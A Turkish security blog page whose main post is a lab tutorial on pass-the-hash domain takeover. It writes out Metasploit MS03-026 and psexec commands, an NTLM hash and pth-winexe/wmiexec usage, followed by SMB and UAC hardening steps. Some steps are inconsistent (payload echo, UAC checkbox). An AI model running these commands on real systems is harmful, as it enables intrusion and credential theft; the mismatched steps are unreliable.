26 Mart 2017

Kali Linux - Bölüm 13: Sistem Boot Süreci ve Servis Yönetimi

Sistem boot ve shutdown süreçleri

Linux’un boot sürecini anlamak ne işinize yarayabilir? Sisteminiz açıldığında otomatik olarak başlatılan servislerin tam olarak nasıl başlatıldıklarını (ve shutdown sırasında kapatıldıklarını öğrenebilirsiniz). Linux tabanlı bir gömülü sistem oluşturmayı düşündüğünüzde kurgulamanız gereken temel sistem bileşenlerini daha rahat anlarsınız.

17 Mart 2017

Oracle Veritabanı Üzerinden Sistem Ele Geçirme

Veritabanları güçlü fonksiyonaliteleri sayesinde işletim sistemi ele geçirmeye giden yolu bize açabilirler. MSSQL Server için xp_cmdshell extended stored prosedürü ile komut satırı komutu çalıştırma, MySQL için INTO OUTFILE özelliği ile hedef sistemin dosya sistemine dosya yazarak hedef sistem üzerinde kod çalıştırma yöntemleri az sayıda adımda gerçekleştirilebildiği için çok bilinen yöntemlerdir. Ancak Oracle'da aynı sonuçlara ulaşmak için hem daha fazla adım atmak lazım, hem de uygulama geliştirme (ya da en azından kullandığınız uygulama kodunu anlama) ihtiyacı bulunmaktadır.

06 Mart 2017

Pass the Hash Saldırısı ile Domain'i Ele Geçirme

Bir networkte birden fazla client bulunduğunda domain server kurulur. Bu server üzerinde gerekli politikalar oluşturularak kullanıcı oluşturulur. Daha sonra client’lar bilgisayarlarını açmak istediklerinde active directory’deki credential bilgileri ile bilgisayarlarını açarlar. 

Biz burada client üzerinde bulunan parola hash’lerini alarak domain server'ı ele geçireceğiz. Kullanıcı hem client’ta hem de server üzerinde çalışabilen bir kullanıcı olmalıdır.



Client Windows XP SP1 çalışan bir cihaz ve serverda Windows Server 2008 r2 işletim sistemlerine sahiptirler. Client active directory’yi kullanarak login olmaktadır. Xp üzerinde “MS03-026 dcom” açıklığı bulunmaktadır. Bu açıklık yardımıyla parola hashlerini çekeceğiz.

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST 192.168.2.133
RHOST => 192.168.2.133
msf exploit(ms03_026_dcom) > set RPORT 135
RPORT => 135
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > run 

"run" denilip meterpreter shell açıldıktan sonra ram üzerinde bilgileri çekmemiz gerekmektedir. Meterpreterda "hashdump" yazdığımızda, SAM dosyasındaki bilgileri vermektedir. Bu bizim için yeterli olmayacaktır. Bundan dolayı mimikatz aracını kullanarak aktif olan kullanıcıyıda görüntüleyebileceğiz.


Saldıracağımız kullanıcı "BTRISKLOCAL administrator" olacaktır. Bu kullanıcı hem clientta(XP de), hem de server(Windows Server 2008) de login olabilen bir kullanıcıdır. Bu kullanıcı ile sunucuyu ele geçireceğiz.

Doğru domain bilgilerini öğrenebilmemiz için nmap aracını kullanabilirsiniz.  

nmap -p 445 --script smb-os-discovery 192.168.2.5
use exploit/windows/smb/psexec modulunu kullanarak servera login olunabilmektedir. 

msf >  use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.2.5
RHOST => 192.168.2.5
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator 
msf exploit(psexec) > set SMBPass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
SMBPass => f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
msf exploit(psexec) > set SMBDomain btrisklocal
SMBDomain => btrisklocal
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.184.131
LHOST => 192.168.184.131
msf exploit(psexec) > run
 Gerekli bilgileri girildiğinden emin olun.

show options denildiğinde ayarlar aşağıdaki gibi olacaktır.


"run" dedikten sonra server'a giriş yapıyoruz. 


Metasploit kullanmadan da bu işlemleri yapabilirsiniz. Bunun içinde pth-winexe, freerdp-x11, wmiexec.exe(Windowsda) vb. araçlar kullanılabilir. Bu araçlar da aynı mantıkla çalışmaktadır.

#pth-winece Kullanımı
pth-winexe -U DOMAIN/username%hash //IP cmd.exe
pth-winexe -U btrisklocal/administrator%f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e //192.168.2.5 cmd.exe

#freerdp-x11 Kullanımı
xfreerdp /u:username /d:DOMAIN /ptn:hash /v:IP

#Windowsda kullanabileceğiniz wmiexec
.\wmiexec.exe -hashes HASH username@IP
Bulduğunuz hash'i decrypter araçları ile çözerek elde edilen parola ile başka sistemlere authentication uygulanabilir. Belki daha yetkili sistemlere giriş yapmaya izin verebilir. 

Pass The Hash Saldırına Nasıl Engellenebilir?
1 - Eğer SMB servisine ihtiyaç yoksa kapatılmalıdır.
2 - Yönetimsel paylaşımların kapatılması. Pass the Hash yöntemleri bu yöntemi kullandığından, bu paylaşım kapatılmalıdır. Paylaşımları kapatmak için regedite şu değer eklenmelidir;
    "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\" altında  autosharewks ve  AutoShareServer REG_DWORD tipinde eklenmeli ve değerleri 0 yapılmalıdır. Ya da command line'da aşağıdaki komutlar çalıştırılmalıdır.


    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f

    3 - UAC aktif etme; Kullanıcı Hesap Denetimi kullanılarak çalıştırılabilir bir dosya çalıştırıldığında kullanıcıdan izin istemesi sağlanmalıdır. Bunun için;
      Denetim Masası (Control Panel) -> Kullanıcı Hesapları (User Accounts) sayfasında Kullanıcı Hesabı Denetimini aç veya kapat (Turn User Account Control on or off) seçeneği tıklanır. Çıkan sayfadaki düğmenin onayı kaldırılıp Tamam'a (OK) tıklanır ve bilgisayar yeniden başlatılır. Ya da Regeditte aşağıdaki değişiklik uygulanmalıdır.

      "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" altında "EnableLUA" ve "FilterAdministratorToken" değerleri 1 olarak değiştirilmelidir. 


      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f
      Böylece sisteme girişler engellenmiş olur.